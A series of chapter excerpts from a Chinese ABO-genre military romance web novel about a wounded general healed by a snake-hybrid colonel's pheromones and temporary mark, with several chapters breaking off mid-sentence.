《被联盟战神拯救后》 1. 遇险 《被联盟战神拯救后》全本免费阅读 联盟的边境常年浸泡在战火的洗礼中,满目疮痍,见不到一块完好的岩地。 放眼望去,哪怕是在黑夜微弱的光里,也能看到地上被风吹动的砂石和远处连成一线的驻军地。 —— 北境边防一向有夜查的习惯,云泆领着一支小队,照例前往两公里外的任务点执行完成今夜的安排。 夜已深,天色低沉,月亮隐在云后叫人看不清楚,四周是一片异样的沉寂。 队员们下车开始探查,云泆却嗅到了一丝不寻常的味道,远超常人的信息素等级使他对空气中残留的气息格外敏感。 颈环下的腺体不受控地跳了跳,云泆心中掠过一丝怀疑。 变故发生得太快,就在下一刻,他们脚下的沙地猛然凹陷下去。几个士兵毫无防备,在瞬息间就被那诡异的流沙吞没而去。 突然,一只尖利骇人的手猛地自地下伸出,企图抓住云泆的脚踝。 云泆的动作快它一步,单凭直觉一脚踢向那只手,从沙地上腾跃而起摆脱了漩涡的吸力。 他反手掏出放在后腰的枪支,对着方才怪手出现的地方连开几枪。 惨叫声迭起。 那不是人能发出的声音。 枪击过后漩涡蓦然消失,地面竟又回复到原来的样子。 这样的变故在战场上还从未发生过,云泆来不及多想,突然感觉身体不受控地迟滞了一瞬。 他听见耳边传来破风声,随后便是皮肉绽开的闷响。 “呃——”,云泆捂住受伤的后颈不住跪下。 这些不知道是什么的东西是冲他来的! 云泆心下了然,竭力按下痛意的他抬眼望向袭击者的方向。 这一眼,他对上了一双无机质的眼睛,那道竖瞳轻动,令人毛骨悚然。 不远处传来窸窸窣窣的声响,似乎是那东西准备再一次下手。但就在此刻,地面突然震动起来。 那是军营派出的救援,早在云泆他们遇袭时军部就该收到警报了。 像是极其害怕暴露,那东西很快就消失在云泆的视野里,转眼就没了动静。 不尽的鲜血顺着云泆的手掌淌下,剧痛夺走他的最后的清明,压迫性极强的信息素不受控地逸散开来。 夜半时分,北境第一医院沸腾异常,整栋楼似乎都在震动。 “快!快把将军送进手术室!”不知是谁在喊,那声音极大,用力地几乎要撕裂开来。 “怎么会伤成这样?快去把秦医生叫过来,快点!”一名穿着白大褂的医生看着眼前担架上刺目的红,焦急地催促着身边的士兵。 云泆前脚刚被送进手术室,秦羽后脚就地快步跑了进来。 他低头观察云泆的伤口,眉头紧皱。 云泆的伤在腺体,那片后颈上没有一块好肉,惨白的脖颈几乎被破出了一个洞,血流不止。 秦羽快速剪断云泆的颈环,动作细致地将嵌在血肉中的颈环碎片挑了出来。 那里面似乎还夹杂着一个奇怪的东西,但秦羽没时间细看,所有的精力都放在处理伤口上。 从旁边的手术刀中挑了一把后,他竟脱掉了自己的上衣。 那本是人类的皮肤上开始飞快浮现出黑红两色相间的斑点状花纹,脊背上甚至泛起了光泽,就如同爬行动物的粘液一样。 这样的变异很快覆盖秦羽的整个上半身,直到下巴处才骤然停下。 异变停止,秦羽抬起手毫不迟疑地将手术刀捅进自己的胸口,霎那间,心头血顺着刀刃直往下淌,秦羽面色微白地往前走,将血精准地滴到了云泆后颈伤处。 违背常理的现象悄然发生。 那块几乎看不出原貌的血肉竟在无声中,以难以想象的速度分裂重生,将硕大的血洞一点点缩小。 不过片刻,云泆的伤口就不再瘆人,但状况仍是不乐观。 秦羽面色难看,云泆的伤比他想象的要严重得多,哪怕用他的血治疗,也只能达到这个程度。 秦羽是个alpha,在密闭的手术室里被云泆的高等信息素压制的喘不过气来。因为来得匆忙,他甚至没喷阻隔剂,压力之下他的思维异常清晰。 如果只是目前这种愈合程度,云泆的命虽是保住了,但腺体会不可逆地萎缩。 如今正是两国交战的关键时刻,就算是为了稳住军心,云泆也绝对不能有事。 有一个办法或许可以治疗腺体损伤,但他不敢妄自决定。 他让主任医师等人继续观察云泆的生命体征,利落地拔出插在胸口的刀,捡起被丢在地上衣服,走出了病房。 他的身体已恢复如常,刚才发生的一切就像是一场梦。 距离手术开始不过十几分钟,驻扎在北境的军官就以难以想象的速度集合在了手术室外。 他们急得团团转,看见秦羽出来一个个又不敢说话了,只痴痴地盯着秦羽。 “将军还未完全脱离生命危险。”秦羽看着他们,神色冷静,他抿唇道,“有一个治疗方案,我需要向首都请示。” 这一句话牵动了所有人的心神,陆上将主持着当前的局面,马上安排了联线。事关云将军的性命,不过五分钟秦羽就在医院无人的单间里拨通了首都的专线。 那头很快就接通了。 “总统先生”,通讯画面出现,秦羽看见那头的人后恭敬道,“目前云将军的状态已经稳定下来了,但腺体的大部分神经都遭到了毁灭性打击,我可以修复一部分,但神经上的伤害我无能为力。” “如果不及时治疗将军的腺体会萎缩,可能很难醒来了。” 秦羽身边有军官倒吸了一口凉气,众人面面相觑,神色惶然。 通话那头的瞿千岱面色也不佳,他沉声问:“你的治疗方案是什么?” 秦羽立马答道:“此前首都医科大学发布过一篇论文,有关腺体重度损伤的治疗。对于较为严重的情况,其中提到当腺体神经受到了损伤时,可以采用‘信息素弥合’的方式进行治疗。” “即选取和伤者契合度较高的异性信息素进行治疗。理论上信息素相融可以刺激腺体的活性,越是强大腺体越是容易再生。虽然这个理论目前没有充足的临床试验可以说明,但现在情况紧急,要早下决断。” 秦羽说的恳切,但一个还未成熟的理论要在云泆身上试验,他自己也没有万全把握。< 2. 重逢 《被联盟战神拯救后》全本免费阅读 闻牧远看见云泆的瞬间,心就像是一下被人按进了冰水中,刺骨的寒和后怕侵入四肢百骸,挥之不去。 他盯着屋内那个身影,目光一秒都不敢移开。 云泆遇袭发生在凌晨两点,当时情况紧急,来不及查明出手的是什么人,前去救援的士兵们先将他送来了医院。 两点四十分,抢救结束。 三点整,首都通过了秦羽提出的救治方案。 三点二十,云机筛选出闻牧远。 现在不过是四点十分,闻牧远已抵达北境,站在离云泆咫尺远近的地方。 南北两境相隔两千千米,军用飞行器要飞行一个小时左右。秦羽可以想象闻牧远几乎是在结束通讯后没有任何迟疑就赶来了北境。 秦羽走近开口道:“将军目前仍在昏迷,他的生理状态不稳定,信息素一直失控地向外释放,这不是好兆头。” 闻牧远直言:“需要我做什么。” 秦羽的目光捕捉到闻牧远袖口下若隐若现的蛇鳞,同类最懂同类,秦羽知道这是他控制不住情绪的标志。 于是他说:“你需要释放出浓度稍高于他的信息素,并且控制它们包围腺体,减少上将信息素的释放,刺激神经活力。” “只是这样的治疗需要你把控好信息素的强弱,最关键的是,一旦开始就绝对不能中止。” “你必须坚持到将军醒过来。”秦羽告诫他,神色严肃。 闻牧远闻言闭上眼,深吸一口气后压下身上蛇变的表征,垂眸道:“我会做到。” 没有耽搁一点时间,闻牧远全身消毒后马上进入了病房。 越是靠近云泆,他越是能清晰感知到这次他身上的伤口有多严重。 空气中有许多气味,成分很复杂。 既有浓郁的血腥味,也有看似浅淡实则强势的青藤的气息。 蛇类对气味的敏锐在此刻无限放大,闻牧远不敢靠得太近,生怕自己会因血的味道而失态。 他在病床的一米外站定,静心控制自己的腺体,开始缓缓向外释放信息素。 那青藤察觉到似乎有什么东西企图入侵它的领地,正准备发起攻势。 可在接触到雪柏气息的瞬间,那躁动的敌意竟自发平息下去,末了还晃晃悠悠地缠了上来。 9.9的契合度实在太高,他们二人的信息素甫一相触就难舍难分。 闻牧远按照秦羽和他说的,将浓度一点点提高,直到将青藤完全包裹并送回了云泆的腺体周围。 此刻,整间病房都被雪柏占据,而那不久前还霸道非凡的青藤,此刻已经彻底偃旗息鼓,沉溺在雪柏的怀抱之中。 这间ICU病房有独属于它的数据监管室,秦羽看着面前骤然变化的数据,通过传音器对里面的人说:“腺体的波动指数降低了,信息素很有效,闻上校请继续吧。” 趋于好转的指数只是开始,要等到云泆苏醒还有很长一段路。 闻牧远不担心时间,也不担心自己的身体是否吃得消。 只要云泆还没醒来,他的信息素就不会消散。 十天一晃而过,闻牧远一直留在病房内不曾离开,他的身体不同于一般人类。 长时间高强度的释放信息素对寻常人来说无疑是慢性自杀,但于他而言还远不足以构成危险。 不过腺体毕竟是最关键的部位。 闻牧远的后颈微微发烫,身上裸露处也依稀可以看见蛇鳞的痕迹。 现在的他因为过量释放信息素,身体正一点点趋向蛇化。这可以平衡他身体的能量,蛇化的部位占比越多,他的生理机能就会越强。 或许等到云泆真正醒来那天,他会完全变成一条黑蛇。 这些天里秦羽不断记录着云泆的的腺体数据,军医团队推论腺体神经已修复了大半,醒来可能就是下一秒的事。 时间来到半个月时,闻牧远已经彻底变成了一条黑蛇。粗壮的蛇身骇人地盘在云泆床头,漆黑的蛇尾下垂,落在柔软的枕头上。 看着外面来来往往的医护人员和军官,黑蛇没有任何反应,只有在秦羽告诉他云泆的身体状况时才会抬起蛇头以示了解。 这半月里,alpha的信息素一直以极为平缓的状态输出,包裹云泆的身体。 黑蛇盘踞在病房里,像是在守护什么稀世珍宝。 傍晚时分的病房不算太明亮,只有窗外透进来的自然光。 黑蛇轻动,忍不住将蛇头凑近云泆的脸。 夜晚来临,蛇类的视力也会达到最佳状态,那双银灰的蛇瞳注视着眼前的人,维持着一个姿势很久没有移动。 突然,闻牧远对上了一双迷蒙的眼睛。 云泆睫毛颤了颤,不甚清明地看着眼前的巨蛇,他恍若身在梦中,直直盯着发亮的蛇瞳。 昏迷了半月,云泆一下分不清眼前的蛇到底是真是假,想要抬手去摸却浑身无力,转醒数十秒后又体力不支地睡了过去。 众人欣喜于云泆醒来的消息,闻牧远却有点忐忑,他怕自己这副可怖的模样会吓到云泆,有些心虚地吐了吐蛇信,不敢再轻举妄动。 他盘回床头,静静地释放信息素。 接下来两天里云泆醒来的时间越来越长,从十几秒拉长到半小时。 断断续续的清醒使云泆弄明白了目前的状况。 他能感知到病房内有很浓郁的雪柏气味,含蓄而充盈,将他倦怠的躯体包围萦绕,让他的心都安定不少。 刚醒来时他无法动弹,也说不出话,就只能睁眼看床头的黑蛇。 看他身上黑亮的鳞片,看他时不时朝自己吐信子,舌尖的分叉搭在一起,上下晃动着。 联盟里可能没有多少人知道,看起来清心寡欲的云上将其实对蛇类生物很着迷。 他知道当蛇的舌尖并拢时意味着它现在正处于轻松愉快的状态。 云泆的脑子仍有些混沌,目光直勾勾的。 而被他盯着的闻上校心乱如麻,生怕看见云泆露出任何不满的表情。注意到他只是单纯看自己后稍稍松了一口气,等到回过神来又有些羞赧。 闻牧远庆幸自己现在他是蛇的形态,什么都看不出来。 待云泆恢复到可以开口时,他说的第一句话是: “辛苦你了,闻上校。” 许是有力气了些,他笑着向闻牧远道谢,整个人在洁白的被单中看起来很温和,没有一点军人的凌厉。 联盟的媒体在政府的授意下 3. 标记 《被联盟战神拯救后》全本免费阅读 突然被调戏的闻牧远努力缓过神来,一板一眼的回答:“将军要注意休息,如果北境人手不足,我随时待命。” 云泆的病情只是暂时好转,远没到康复的程度,闻牧远在这期间显然要一直待在北境。 他心里没有丝毫不悦,云泆需要他对他而言就是最高级别的奖励。 云泆看着他一本正经的模样破了功,说:“闻上校别紧张,现在的事情我还应付得过来。” “之前我虽然在昏迷之中,但是我能感觉到你的存在。这次我遇袭给你们带来了不小的麻烦,接下来还要请你多关照。” 云泆的语气客气但不疏离,他熟练地招呼秦羽坐下,同时催促闻牧远快去休息。 闻牧远闻言听话地准备离开,走之前又偷偷瞄了一眼云泆的脸。 这一瞥又对上了那双温和的眼睛,他忍住心中不舍,不再多看,向外走去。 可以逗弄的小蛇走后云泆的神色渐渐沉了下来,他问秦羽:“遇袭的事调查清楚了吗?” 秦羽面色难看地摇摇头,他道:“前去援救的人把伤员送到安全的地方之后仔细探查过,什么都没有发现。” 云泆闻言陷入沉默,下一秒,秦羽从白大褂的口袋中掏出一个塑料袋。 “但是有别的发现,”秦羽严肃道,“这个东西是我在处理你腺体伤口的时候取出来的。” 云泆抬手接过那个袋子,那里面装着一个蓝色的片状物,他仔细观察后觉得像是某种动物的鳞片,但又分不出具体的物种。 既不像鱼类也不像蛇类。 云泆问:“化验做过了吗,这是什么东西。” 秦羽答:“做了,但是结果……让人有些意外。” 在云泆的注视下,秦羽迟疑开口道:“这个东西的基因和现在世界上发现的所有物种都匹配不上。” 秦羽说完,感觉四周的空气都冷了几分,云泆低头思索,良久才开口:“你的意思是,‘陨落者’?” 秦羽先是点了点头,旋即又摇头否认,说:“是有些类似于我和闻上校的情况,但是当年那批被救出来的人后来都进行了登记,而且每一个将军你都是认识的。这个鳞片不属于我们中的任何一个人。” “陨落者”,多年前被揭露的“造神计划”的产物。 那场秘密实验中源于人类在战争中的野心。 他们将孩童尚未发育完全的腺体与动物基因进行了结合,企图创造出战争武器。 这些孩子大多数来自联盟边远地区看管不严的孤儿院,本就没有亲属的他们,消失了也不会有人在意。 闻牧远和秦羽都是当年被救出的试验品,而云泆则参与了毁灭实验基地和安置那群孩子的全过程。 也许是因为发现的时间并不算太晚,当时被卷入这场实验的孩子并不多,只有十几个。 只可惜基因融合在这些孩子身上已经完成,无法逆转。 他们的基因序列因为和动物的结合而发生剧变,不再与人类重合。 这样的变化使他们拥有了常人难以想象的能力,甚至可以在人兽间自由变换,这群人在最开始被称为“陨落者”。 只是后来他们在首都的安排下获得了合法的身份,且大多数都加入了联盟军,立下赫赫战功,也就没有人再拿那个称呼去说事了。 云泆至今记得他亲手处决了参与这场实验的联盟高官,粉碎了那些罪恶的资料。 没想到这么多年过去竟还有漏网之鱼的存在。 云泆将那个袋子递还到秦羽手中,说:“我没有怀疑你们,只是这枚鳞片牵涉的事太多了,你暂时不要声张,以免打草惊蛇。” 秦羽了然,他将袋子妥善放好后道:“还有一件事我有些疑虑。” “防护颈环背面的金属都是特制的,再强力的冲击都不至于让腺体附近那块的材料变成碎片。所以我怀疑有人动了手脚,只要颈环被彻底破坏,那我们想要查证也无从下手。” 云泆一直静静地听他说,脸上没有露出什么讶异的神色,秦羽看他这副模样反倒吃了一惊。 他震惊地说:“您早就知道了?” 云泆垂眼淡淡道:“受伤那一刻我就意识到事情不简单。准确的地点和时间,毫不犹豫的下手,要是没有联盟内部的参与,一切不会这么顺利。” “那您准备怎么应对,这次暗杀不成他们一定会再下手的。”秦羽有些焦急。 云泆闻言笑笑:“兵来将挡水来土掩。现在大家的目光都在我这,他们不敢轻举妄动。” “难得有这闲工夫,让我好好休养一下吧,不知道多久没休息了,这几天看堆积的公文都把我累得够呛。”云泆抱怨着,完全不像是紧张的样子。 秦羽知道将军向来自有分寸,不再多言,只是简述了接下来的治疗方案。 云泆喉咙有些干,拿过床头的水杯,一边喝一边听。 前面听到和之前差不多的治疗方式还面色如常,结果秦羽下句话一个“临时标记”让云泆一口水呛在了喉里,不上不下,他弯腰猛烈地咳嗽起来。 “你说什么?临时标记?”云泆呛得脸都红了一截。 秦羽见他这个反应早有准备,从身后掏出一份数据单放到床上,然后就此展开说明:“之前的治疗是针对腺体外围的,您内部的神经还是非常虚弱,虽然您现在信息素的水平仍然显示在s级,但实际上能释放出的威能顶多到b级。” “信息素等级对人的影响有多重要不用我多说了吧。所以您就让闻上校咬一口,让他的信息素进入到腺体中给您疗伤,这样腺体才好的了。”秦羽苦口婆心语重心长。 “可是……他,闻上校自己愿意吗。”云泆面露为难。 秦羽将放在床上的资料中下面的那份拿了上来,指着上面清晰可见的“闻牧远”三个字说:“怎么不愿意,这不是他的同意签名吗。再说闻上校也算一表人才,信息素又那么强悍,给他咬一口也不亏。” 云泆看着秦羽越发兜不住那层正经的外壳,他眼角抽了抽,无奈扶额。 云泆也不是什么会因为这种事不好意思的人,只是当年那群被救出的孩子里,他和闻牧远的接触最多。 虽然不能说这孩子是他养大的,但自己也算他半个长辈,让他给自己做一个临时标记,总觉得哪里别扭。 就好像学生突然咬了老师一口,这很奇怪。 秦羽见他不再反驳,像一只得胜的公鸡一样快速收好了床上的资料,面色变回平时看诊治病时的冷静,在云泆改变主意之前转快步出了病房。 云泆看着他的背影叹了一口气,脑中纷乱非常。他并不如表现出来的那么冷静,多年征战的经验使他意识到这次的暗杀绝不简单,此时浮出水面的不过是冰山一角,不知还有多少阴谋潜藏在水底。 云泆想要抽丝剥茧地想下去,腺体的隐痛却使他昏昏欲睡,现在没人再来打扰,他调整姿势躺了下去。 侧头时,云泆突然发现枕边有什么东西在闪着光,他伸手拿起来,发现是一片黑色的蛇鳞。 蛇鳞的形状规整,边缘柔和,应该是从闻牧远身上不小心掉下来的。 云泆凑近细看还闻到了雪柏若隐若现的味道,这叫人更困倦了。 坠入梦境的边缘,云泆突然回想起十多年前的闻牧远,那时的他明明还是一条 4. 感知 《被联盟战神拯救后》全本免费阅读 被信息素侵袭的云泆突然失去了一切对外界的感知,他唯一能够感受到的,就是背后胸膛的温度。 那是一个很宽厚坚实的怀抱。 闻牧远低头倾身全神贯注地标记,原本虚搂着云泆的胳膊渐渐收紧,犬齿施加在云泆后颈的力道不减反增,越来越多的雪柏气味奔涌而入,将青藤搅得一片慌乱。 极高的契合度使二人都完全沉浸其中,临时标记缓缓成型,一道无形的烙印被悄无声息地打下。 明明只是为了治疗,闻牧远却咬得很虔诚,像是立下誓言一般郑重。 雪柏和青藤难舍难分,闻牧远也抱着云泆不愿松开。 人类的体温对于蛇类而言是滚烫的。明明是有些冰凉的倚靠,云泆却莫名感到一阵舒适。 许是标记结束后过了十几秒,闻牧远蓦得意识到自己竟然还抱着云泆。 他感到抱歉,飞快松了手,这时目光瞥见标记处似乎有星星点点的血痕,那是他咬出来的。 云泆也逐渐从刚才的混沌中回过神来,见他反应这么激烈,眯着眼问:“怎么了?” 闻牧远沮丧地垂下眼,敛起眸中的情绪。他拿过床头的消毒纱布说:“抱歉,我好像咬出血了。” 云泆闻言失笑道:“标记不就是这样吗,没什么的。” 他说着却见闻牧远凑近他的后颈,下一刻,像是有轻柔的羽毛拂过,闻牧远拿纱布轻轻的擦去了那些血珠,末了还吹了两口气。 刚被标记的腺体格外敏感,云泆被吹得脖子痒,忍不住缩了缩。 临时标记后alpha和omega双方都会有一种奇妙的精神联系,他们可以隐约感知到对方的情绪。 这是一种很奇妙的感觉,不属于自身的情绪和感知会伴随信息素来到双方的身体里。 标记本是alpha和omega建立情感联系的方式,云泆虽是见多识广,但亲历其中总是不一样的。 他靠在床上等着过量的信息素散去,莫名感自己的心脏似乎正越跳越快,像是沸腾的液体,在灼烈中翻腾着。 这应该不是他的情绪,云泆闭眼仔细感受的胸腔中涌入的陌生情感,那是一种兴奋、愧疚、眷恋并存的情绪。 如果不是他的,这情绪……是闻牧远的。 云泆抬眼,只看见闻牧远像个木头桩子一样立在原地,忍不住问:“闻上校,是和我标记让你觉得不舒服了吗?” 闻牧远连忙摇头否认说不,但云泆看着他的视线没有移开。 似乎是避无可避,他才挤出一句:“您很好,是我自己……不好意思。” 他偏黑的皮肤下透出一点红,云泆这才意识到眼前这个同他一样立下无数战功的闻上校,不过是个23岁的青年人。 在这个人均寿命过百的年代,闻牧远是那样年轻,他此时的害羞变得合理起来。 云泆还有些抱歉,自己竟然就这么夺走了他的第一次标记。 在别人心中强悍冷硬的闻上校形象在云泆这顷刻倒塌荡然无存,他看闻牧远,就觉得对方容易害羞又很听话的后辈。 而且不管是什么形态都很可爱的后辈,云泆在心里默想,嘴上却不多说:“现在就别用敬称了,私下叫我云泆就好。” 闻牧远点点头,说:“好的,听您的。” 云泆无奈,不再纠正他,只是闭眼休息。临时标记对他的助益比单纯释放信息素好太多,腺体的疼痛一下就被标记覆盖而去,他精神上的疲惫也缓解了不少。 秦羽在检查过后对此结果颇为满意。按照这个进度进行下去云泆的腺体完全可能恢复到受伤前的巅峰状态。 刚临时标记完的双方不适合分开,医院给闻牧远也找了一张床,就安置在转入观察病房的云泆旁边。 云泆虽然口头上和秦羽说要好好休息一场,但心里到底是放不下北境军队的种种。 能下地走路后,他马上要求回驻军地查看近期的边防。 秦羽皱着眉强烈反对,但云泆寸步不让,最后秦羽败下阵来,只提出一个要求: 必须把闻上校带在身边。 既然不能在病房里好好休养,那就让人形治疗机跟着,秦羽计划的很周全。 闻牧远这人他很了解,平时做事那是一百分的细致,一旦遇上云泆,那就会变成两百分的小心,所以有他在,不会出什么乱子。 云泆欣然接受,换上阔别已久的军装后就带着闻牧远回了北境军营。 偌大的驻军地很是安静,只有一些训练时发出的齐整声响。虽说现在战争大多依靠先进的武器,但士兵的个人素质也不能落下,在有些战场上,能力过硬的单兵甚至能在关键时刻够扭转战局。 联盟和帝国开战至今已逾百年,对于战争双方都深谙其道,一点不敢大意。 伤未痊愈,云泆走得不快,迎面遇见的军官士兵都恭敬地向他和闻牧远敬礼,目光里透出难以掩藏的激动。 云上将没事了,云上将回来了! 士兵们相顾无言,但都明白彼此的心中所想。 云泆是北境的定海神针,只要有他在,军队就不会乱。 这也是云泆一下病床就坚持要回来的原因之一。 他知道自己对于军队的意义,不论如何,他必须让这些士兵知道他没事。 有时一些看似微不足道 5. 擂台 《被联盟战神拯救后》全本免费阅读 云泆见状哑然,想着闻上校怎么像小o一样,又容易害羞,又爱闹别扭。 好像他小时候也不是这性格,云泆还没来得及回忆,就见陆兆兴弹出了个人通讯器的显示屏。 “怎么了?”云泆问他。 “你的通讯器不还没修好吗,这是总统给你发的信函,就在我这看吧,安全一点。”陆兆兴说着,把可视权限移交到了云泆那。 云泆在空中轻触将屏幕翻转,仔细看起上面的内容来。 瞿千岱发来的的信函不长,言简意赅的文字和他本人的作风一样。 信函大体的意思就和刚才陆兆兴说得一样,首都高层有鬼,却无法确定具体的人员。 但其中有一点令云泆颇为在意,瞿千岱主动提出让云泆回首都养伤一段时间。 云泆常年驻扎在北境,以往只有述职的时候会回首都待上十天半个月。 去年战况紧张,他不敢离开。如今距离他上次回去已经一年多了。 现在瞿千岱主动提出要他回去,恐怕首都的水也浑得很,云泆在心里想着。 看完后他把权限还给陆兆兴,说:“总统的提议我要考虑一下,就这么离开北境我放心不下。” 陆兆兴点点头,说:“首都的意思我们都明白,你要是到他们眼皮子底下去,他们指定会露出破绽。现在这个局势,你回首都反而安全。你有伤在身,边境的医疗条件毕竟有限,回去一段时间也无妨。” “北境不还有我吗。”他说着,这会倒是爽朗地笑起来。 属于alpha雄浑的信息素在不经意间微微散出,只是在靠近云泆的瞬间,像是被他周身的气息吓了一跳,忙不迭地逃走了。 云泆也笑笑,又寒暄了几句就和闻牧远一起离开了。 走在外面的廊道上,云泆回头看了一眼格外沉默的闻牧远,说:“闻上校对这很熟了吧,我听说你把许多夜查的活都干了。” 闻牧远一直落后一步跟在云泆身后,他答:“夜查小组的组长受伤了,我顺手帮了个忙。” 云泆心想这可不算顺手,夜查看似简单实则繁琐,不然云泆也不会有时亲自带队前去了。 脑海里忽地闪过掉落在床头的黑色蛇鳞,云泆在心里默默计算着,毕竟是蛇类,在晚上的行动能力比普通士兵不知道强上多少。 他后来看过闻牧远的夜查报告,可谓是详尽细致。 那种顾全大局又照顾到方方面面的做派,竟让云泆不禁联想到自己。 要是时间回到十几年前,他多少也算是闻牧远的老师。只是那时的自己年轻人的脾气还收不好,现在回想起来仍觉得汗颜。 他不再多问,二人一前一后走着走着就到了训练场。 现在是下午三点半左右,训练场中人已经来了不少。 军营里规定下午三点到五点是自由时间,但活动范围只局限于驻地内部。 因此不少士兵会来训练场加练,有时还会兴致勃地打起擂台来。 今天也许是凑巧,云泆二人到达的时候不远处传来传来的起哄声明显是有人在对垒。 军营里擂台的规矩很简单,由两个人发起,其余人都是裁判。 二人要在三分钟内完成近身肉搏,将对方打倒在地超过五秒即为胜利,其余人也可以自己上去挑战上一局的胜者。 到自由时间结束还站在台上那人就是这场擂台的最后赢家。 鉴于这也只是军队内部的娱乐方式,所以奖励有些诙谐,那就赢家晚饭可以多拿一串葡萄。 云泆之前也参与过,不过有他加入的擂台会变得毫无趣味,他就算完全不用信息素,单凭那强悍的身体素质和战斗技巧,就不是别人能对付的。 明明平时看起来很温和,一穿上战斗服就像完全变了一个人。 招式凌厉,眼力狠辣,云泆总能清楚地看到对手的弱点,然后举重若轻地将他们放倒。 虽说输给云将军不丢人,但那一群alpha还是觉得脸上挂不住。 云泆在台上的时候,没人敢轻易发起挑战,因为总是赢得毫无悬念,后来他也就不再上场了。 今天的擂台有些不同,现在守擂的人竟然不是普通士兵,而是军官。 云泆对那人一点也不陌生,台上的人叫沈元义,曾当过两年云泆的副官,主要负责的都是一些文书方面的工作。 后来他在某次行动中立下大功,云泆不愿人才埋没,力荐他去了一线。 沈元义虽然是没有信息素的beta,但战斗素养高,人也很有头脑。如今不过几年便升任少校了。 他在beta里算是高个,因为常年的训练身上的肌肉很发达,他只穿了一件背心和人应战,哪怕对面是一个比他更壮硕的alpha,也依旧从容不迫。 云泆站在人群后静静看着,那个alpha的招式动作虽猛,但反应能力不够,每次出拳的时候都会疏漏对身体弱点的保护。 沈元义显然也是注意到了这一点,当拳风迎面而来时早有预料地偏头一躲,随后飞快后仰,抬腿一脚踹到alpha的肚子上。 知道这只是切磋,他明显收了力道,alpha没有受太重的伤,被踢飞出去后缓了一会儿就爬起来了。 他讪讪挠头,不好意思地下了台。 云泆因为腺体很久没有活动过筋骨了,此时看他们打斗手痒心更痒。结果闻牧远不知何时凑到他耳边幽幽道:“您的伤还没好,现在还不能动手。” “秦医生知道了会生气的。”他不依不饶地继续说。 云泆无奈的看了他一眼 6. 急变 《被联盟战神拯救后》全本免费阅读 这还是云泆头一次亲眼见到闻牧远在战斗中模样。 几分钟前还斯文有礼的人一下褪去了外壳,把他内里属于兽的一面袒露出来。 他的眼神很淡,不似沈元义的精密计算,也不像其他人对胜利的执着。那双眼睛里没有太多的情绪,落在对手身上,就不再转移。 他的招式很干脆,没有太多技巧却把人打得溃不成军,一看就是受过长期专业训练的人。 身上的军装对他而言反倒有些束手束脚,动作间,被勒紧的衣服下肌肉线条清晰可见,力量感扑面而来。 他们打斗的时候,云泆在台下仔细观察。平时的相处中他其实很难从闻牧远身上看到蛇的影子,这个alpha体贴周到,全身上下除了略微偏低的体温一切都很正常,任谁也察觉不出他是被称为杀器的“陨落者”。 而在刚才,云泆却窥见一斑,闻牧远的攻击节奏是随呼吸调整的,每一个喘息的间隙里他都会根据沈元义的反击而调整自己。 就像在暗处静待的蛇,等着猎物露出破绽,而后猛然出击。 云泆很欣赏闻牧远这种平静下的狠劲,对于看好的人,他向来不吝啬任何夸奖。 于是他就走上前,坦然地为闻牧远鼓掌。 下一秒,云泆想到了什么,他马上看向闻牧远的耳朵,果不其然,黑发下那两只耳朵红得很明显。 真是容易害羞啊,云泆咋舌。 沉浸在擂台中的士兵们先是被闻牧远结束战斗之快一惊,而后又被他的身份一吓,末了发现云上将居然也在场,于是他们本就绷着的背挺的更直了。 “大家不要紧张。”云泆脸长得显年轻,说话不徐不疾很有亲和力。如今眉目间带着一点病气,更是让人觉得好亲近。 他一开口周围的士兵都放松了不少。 “还有人要上来挑战的吗?”闻牧远站在擂台上向下看,回应他的是沉默。 云泆向他摆摆手,说:“闻上校下来吧,他们打沈少校都吃力,要是对手是你的话,也只能我应战了。” 云泆一说完,闻牧远的脸色就微微一变,他利落地从上面跳了下来,走回了云泆身边。 沈元义喘了好一会儿才缓过劲,他穿上外套后向云泆和闻牧远敬礼,眼神满是激动。 “看见您没事真是太好了。”沈元义由衷而言。 他如今的成就一部分是靠的自己,另一部分是蒙云泆的照佛,当时要是没有云泆力荐,他一个beta不会走得这么顺。 云泆刚想和他说几句,就感觉训练场的氛围不太对。 也许是因为经历了剧烈的运动,闻牧远的信息素不受控制的逸出了一些,云泆早就习惯了雪柏的环绕,因而没有马上察觉。 但此时雪柏的味道里还夹杂着浅淡的青藤香,军官的信息素味道不是秘密,往日里训练后总会不自觉散出一些。 至于那青藤是谁的信息素,在场的alpha和少数omega都心知肚明。 众人在心里疯狂猜测着,眼神火热却无人敢开口。 云泆也是无奈,他和闻牧远临时标记刚结束不久,现在的信息素交融还很明显,控制两份信息素不是什么轻松的事。 云泆的腺体倒是因为受伤而略显沉寂,但闻牧远的情况却与他截然相反,他的信息素很活跃,像是急着向旁人声张什么。 云泆心里知道这是为了治病,别人怎么想就算他也无力控制,但在这不同以往的炽热注视中他有些许如芒在背。看着一无所知,甚至略显茫然的沈元义,他忽然觉得做个beta也很好。 云泆暗暗看了闻牧远一眼,只见闻牧远的耳朵颜色不减,抬手捂住腺体试图掩盖证据。 “嘀——!有最新战况,请全员回归各自营地待命!”空中陡然响起的警报声刺破了刚才和缓的氛围。 在场的士兵一听到声音就马上列队整齐地往外跑,这些年里警报骤响的情况不少,没有人慌乱尖叫,只有一群群训练有素的士兵在以最快的速度前往他们的岗位。 刚才还嘻嘻哈哈的人们一下收了心,训练场内很快就空了。 云泆有将近一个月没回来,但对这场景一点不生疏,他毫不犹豫地说:“我要去指挥室。” 他说这话时沈元义也已经急匆匆离开了,只有闻牧远还站在他身边,闻言马上答:“我跟您去。” 云泆跑到指挥室时呼吸急促了不少,到这种时候他才觉得这伤是真碍事,以前毫无知觉的距离现在对他而言都有些难以忍受。云泆压下心绪,突然感觉到一点雪柏温柔地缠了上来,临时标记后信息素弥合的效果更加明显,云泆的虚弱感一下减轻了许多。 他快速回头看了一眼闻牧远,alpha接触到他的视线,说:“我会陪着您的,您要做什么都可以。” 云泆深深地看了他一眼,点了点头,随后推门走了进去。 指挥室里聚集了北境军衔较高的军官,他们见到云泆走进来都有些吃惊,担心他刚有起色的身体吃不消。 云泆摆摆手,说没事,然后问道:“给我讲一下这次是什么情况。” 陆兆兴回答说:“刚才侦查器探测到,在离驻军地四十公里远的地方突然出现了一支帝国的空军军队,从前线传回的影像看起来是帝国的主力军,主要由无人机构成,当前目的不明,以防万一我们先拉了警报。” 云泆蹙眉,眼下的情况很怪异。虽然近几个月联盟和帝国边境的摩擦从未停止,但距离上次大规模开战已经过去大半年了,而近来边境的情况一直相对稳定,帝国如今突然开战的契机是什么?云泆垂眸思索着。 帝国已经出兵,联盟这边也做出了快速反应。 双方都派出了主力战机,甫一靠近,帝国的军队立马开火,两军在空中展开了缠斗。 